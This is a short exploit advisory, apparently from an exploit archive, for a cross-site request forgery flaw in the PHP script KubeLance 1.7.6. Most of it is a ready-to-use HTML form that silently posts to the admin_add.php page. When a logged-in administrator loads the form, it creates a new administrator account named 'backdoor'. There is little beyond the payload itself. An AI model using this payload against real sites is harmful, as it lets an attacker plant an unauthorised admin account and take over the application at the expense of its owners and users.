KubeLance 1.7.6 (Add Admin) CSRF Vulnerability

==============================================
KubeLance 1.7.6 (Add Admin) CSRF Vulnerability
==============================================

[#-----------------------------------------------------------------------------------------------#]
[#] Application: KubeLance
[#] Version: 1.7.6
[#] Platform: PHP
[#] Link: http://www.kubelabs.com/kubelance/
[#] Price: 90 $
[#] Vulnerability: Cross Site Request Forgery (Add Admin Exploit)
[#-----------------------------------------------------------------------------------------------#]
 
KubeLance script lack of cross site request forgery protection, allowing us to make exploit and add new admin user.
 
[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/kubelance/adm/admin_add.php" method="post">
<input type="hidden" name="username" value="backdoor">
<input type="hidden" name="password" value="another-admin-added">
<input type="submit" name="submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]



#  0day.today [2018-01-05]  #